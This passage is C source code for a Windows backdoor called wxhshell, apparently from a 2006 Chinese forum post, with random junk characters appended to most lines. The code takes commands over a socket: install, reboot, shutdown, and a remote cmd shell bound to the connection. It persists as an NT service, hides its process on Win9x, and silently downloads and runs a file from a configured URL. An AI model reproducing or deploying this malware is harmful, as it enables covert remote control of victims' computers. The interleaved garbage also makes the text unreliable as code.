  else { RlRkw+%m  
8dg \_H_  
    switch(cmd[0]) { !.(Kpcrg  
  uSZCJ#'G  
  // 帮助 dP>~ExYtm  
  case '?': { 6S#Y$2 P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8@Zg@>,  
    break; +mM=`[Z`??  
  } K>=KsG  
  // 安装 ?F{sym@i  
  case 'i': { hlY]s &0  
    if(Install()) 4uQ\JD(*Eu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CqMm'6;$a}  
    else <Fkm7ME]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (@t O1g  
    break; "/ N ?$  
    } Dj Z;LE>  
  // 卸载 w! J|KM  
  case 'r': { ET]PF,`  
    if(Uninstall()) 6OBe^/ZRt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~i WV6Va  
    else ?gknJ:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`#k 1t'  
    break; VrV )qfG  
    } -^ )0c  
  // 显示 wxhshell 所在路径 K gN=b  
  case 'p': { RrFq"  
    char svExeFile[MAX_PATH]; Rne#z2Ok  
    strcpy(svExeFile,"\n\r"); 8v$ 2*$  
      strcat(svExeFile,ExeFile); XJx$HM&0M  
        send(wsh,svExeFile,strlen(svExeFile),0); $uw[X  
    break; DtXQLL*fl(  
    }  =fJDFg  
  // 重启 !Zo we*`  
  case 'b': { (mO{ W   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j_` [Z  
    if(Boot(REBOOT)) Y(aEp_kV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+sC'/  
    else { RMinZ}/  
    closesocket(wsh); N$\'X<{  
    ExitThread(0); p~Tp=d)/  
    } = NHE_ 4/p  
    break; rF9|xgFK  
    } MQs!+Z"m>  
  // 关机 #Tc]L<."  
  case 'd': { UL9]LEGG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @vsgmz  
    if(Boot(SHUTDOWN)) nWfzwXP>_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oXC|q-(C  
    else { z\S#P|;  
    closesocket(wsh); #[ei/p  
    ExitThread(0); /_WA F90R?  
    } $Hw w  
    break; %bu$t,  
    } C%2BDj  
  // 获取shell _?]0b7X  
  case 's': { ~lBb%M  
    CmdShell(wsh); 6Zr_W#SE  
    closesocket(wsh); OQlmzg  
    ExitThread(0); u|;?FQ$M  
    break; 0ge"ISK  
  } [&_7w\m  
  // 退出 RIhu9W   
  case 'x': { d=` a-R0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 968<yO]  
    CloseIt(wsh); {6*$yLWK  
    break; \,UpFuU\  
    } {Ad4H[]|]  
  // 离开 AnF"+<  
  case 'q': { Sb2hM~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /+V}.  
    closesocket(wsh); _Y{8FN(4  
    WSACleanup(); Hw0S/ytY  
    exit(1); |`T$Iq  
    break; =`MxgK +  
        } s3(mkdXv  
  } u+5&^"72,  
  } *5|;eN  
oI\ Lepl*  
  // 提示信息 .<m${yU{3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fL^$G;_?3  
} !.2tv  
  } 0oNNEC  
L3/SIoqd  
  return; ^}w@&Bje  
} v3p0  
r\PO?1  
// shell模块句柄 c)*,">$#  
int CmdShell(SOCKET sock) ojc m%yd  
{ n-"(lWcp  
STARTUPINFO si; >PY Lk{q  
ZeroMemory(&si,sizeof(si)); 1bz%O2U-(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?\Bm>p% +  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H=/;  
PROCESS_INFORMATION ProcessInfo; Sg&0a$  
char cmdline[]="cmd"; e/7rr~"|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;\'d9C  
  return 0; 7 @W}>gnf  
} Io;x~i09K  
< )qJI'u|  
// 自身启动模式 ?&`PN<~2z  
int StartFromService(void) Ad}Nc"O  
{ ]|xfKDu  
typedef struct AjYvYMA&  
{ (]@yDb4  
  DWORD ExitStatus; >P9|?:c  
  DWORD PebBaseAddress; s![Di  
  DWORD AffinityMask; (DIMt-wz  
  DWORD BasePriority; whW% c8  
  ULONG UniqueProcessId; ts:YJAu+F  
  ULONG InheritedFromUniqueProcessId; Jkx_5kk/\  
}   PROCESS_BASIC_INFORMATION; r"_U-w  
^g'P H{68  
PROCNTQSIP NtQueryInformationProcess; 5i0vli /L  
]/#3 P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yI{4h $c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `o4%UkBpM  
ykS-5E`  
  HANDLE             hProcess; .A Dik}o  
  PROCESS_BASIC_INFORMATION pbi; *^3&Y@  
JBI>D1`"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^XgBkC~  
  if(NULL == hInst ) return 0; gcA,u)z}R  
kgb:<{pJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fv} Uq\v[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @$7'{*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tqFE>ojlI  
r}\m%(i  
  if (!NtQueryInformationProcess) return 0; l!*!)qCB(S  
 &*Z"r*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f-BPT2U+  
  if(!hProcess) return 0; T;M4NGmvd  
shZEE2Dr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gWIb"l  
FyhLMW3  
  CloseHandle(hProcess); D[ v2#2  
Yq-Vwh/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jmBsPSGIC  
if(hProcess==NULL) return 0; ,$+ P  
@hF$qevX  
HMODULE hMod; 6n?0MMtR  
char procName[255]; =c ;.cW  
unsigned long cbNeeded; 8b[<:{[YB  
grxlGS~Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sTu]C +A  
-NPX;e$<  
  CloseHandle(hProcess); ="('  #o  
GK`U<.[c  
if(strstr(procName,"services")) return 1; // 以服务启动 Z [YSE T  
Kgw, ]E&7  
  return 0; // 注册表启动 vn x+1T  
} M\A6;dz'  
`]I p`_{  
// 主模块 r>lo@e0G  
int StartWxhshell(LPSTR lpCmdLine) c$8M}q:X  
{ bO'?7=SC  
  SOCKET wsl; 3rj7]:Vr  
BOOL val=TRUE; 7Tc^}Q  
  int port=0; cz41<SFL  
  struct sockaddr_in door; MMy\u) 4  
-KL5sK  
  if(wscfg.ws_autoins) Install(); -PCF Om"  
#G]g  
port=atoi(lpCmdLine); O %1uBc  
T(=Z0M  
if(port<=0) port=wscfg.ws_port; V` 4/oM`  
Gm[XnUR7V  
  WSADATA data; 6Qn};tbnD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?$6(@>`f&t  
f+%s.[;A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pyp#'du>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Yw>s9X  
  door.sin_family = AF_INET; V X.9mt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6J<R;g23R]  
  door.sin_port = htons(port); *o=[p2d"X  
&9EcgazV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2-%9k)KH  
closesocket(wsl); wW, n~W  
return 1; tfdb9# &?  
} r-AD*h@QZ  
y[';@t7CC  
  if(listen(wsl,2) == INVALID_SOCKET) { .|i/ a%J  
closesocket(wsl); ig^x%!;  
return 1; ! JauMR  
} O$7r)B6Cs  
  Wxhshell(wsl); t+#vcg,G  
  WSACleanup(); b/d 1(B@  
Tq,dlDDOR  
return 0; -#Jp@6'k%  
lvH} 8 lJ  
} G4^6o[x  
i|xC#hV  
// 以NT服务方式启动 0D/7X9xg9+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g~XR#vl$  
{ |qf ef &  
DWORD   status = 0; ?&D.b$  
  DWORD   specificError = 0xfffffff; +ZR>ul-c  
hm0MO,i"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7.tIf <^$P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;+*/YTkC+P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <q`|,mc  
  serviceStatus.dwWin32ExitCode     = 0; GsoD^mjY  
  serviceStatus.dwServiceSpecificExitCode = 0;  V*W H  
  serviceStatus.dwCheckPoint       = 0; [$@EQ]tt/  
  serviceStatus.dwWaitHint       = 0; _Mi*Fvj  
> .K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lv#L+}T  
  if (hServiceStatusHandle==0) return; ?(Xy 2%v  
HHL7z,%f  
status = GetLastError(); eyy%2> b  
  if (status!=NO_ERROR) L\q-Z..  
{ y$9XHubu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yeLd,M/I  
    serviceStatus.dwCheckPoint       = 0; S;tvt/\!Z  
    serviceStatus.dwWaitHint       = 0; k54b@U52 h  
    serviceStatus.dwWin32ExitCode     = status; \F14]`i  
    serviceStatus.dwServiceSpecificExitCode = specificError; -d[Gy- J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 825 QS`  
    return; v,Z?pYYo  
  } x b!&'cw  
s=Xg6D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [&)*jc16  
  serviceStatus.dwCheckPoint       = 0; @+sYwlA~  
  serviceStatus.dwWaitHint       = 0; B D [<>Wm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s8;*Wt  
} A$rCo~Ek  
PnH5[4&k  
// 处理NT服务事件,比如:启动、停止 L-Mf{z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ri49r*_1  
{ 6('CB|ga  
switch(fdwControl) T2TWb  
{ *9US>mVy  
case SERVICE_CONTROL_STOP: |=[. _VH1  
  serviceStatus.dwWin32ExitCode = 0; @xr}(.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Vr#>W  
  serviceStatus.dwCheckPoint   = 0; =3=8oFx8  
  serviceStatus.dwWaitHint     = 0; C_&ZQlgQ  
  { tlgg~MViS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^*F'[!. p  
  } zqLOwzMlLx  
  return; {[bB$~7Eu  
case SERVICE_CONTROL_PAUSE: U.1&'U*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %>1C ($^  
  break; _$yS4=.  
case SERVICE_CONTROL_CONTINUE: @v/ 8}n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |$[.X3i  
  break; 'M fVZho{  
case SERVICE_CONTROL_INTERROGATE: 8peK[sz  
  break; 9O\yIL  
}; /d> Jkv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *JO%.QNg  
} '`&b1Rc  
G@U}4' V9  
// 标准应用程序主函数 +*G<xW :M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $\L=RU!c}  
{ j07b!j:"\}  
} a!HbH  
// 获取操作系统版本 [f?x ,W~  
OsIsNt=GetOsVer(); 0y%s\,PsT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); - H`, ` #{  
j rg B56LL  
  // 从命令行安装 OpmPw4?}  
  if(strpbrk(lpCmdLine,"iI")) Install(); OG^#e+  
K<v:RbU|[1  
  // 下载执行文件 = cI> {  
if(wscfg.ws_downexe) { [x0*x~1B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w}U'>fj  
  WinExec(wscfg.ws_filenam,SW_HIDE); WL;2&S/{@  
} a[J_H$6H!  
<FwAV=}6p  
if(!OsIsNt) { 4+Y9":<  
// 如果时win9x,隐藏进程并且设置为注册表启动  dK]#..  
HideProc(); o[g]Va*8  
StartWxhshell(lpCmdLine); ue -a/a  
} AIw~@*T  
else |5*:ThC[  
  if(StartFromService()) 2 ;Q|h$ n  
  // 以服务方式启动 jWK>=|)=c  
  StartServiceCtrlDispatcher(DispatchTable); [ub)`-6 u  
else n66b(6"mO2  
  // 普通方式启动 UW&K\P  
  StartWxhshell(lpCmdLine); Mr@{3do$  
~sTn?~  
return 0; oot kf=  
}
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只看该作者 1 发表于: 2006-10-10
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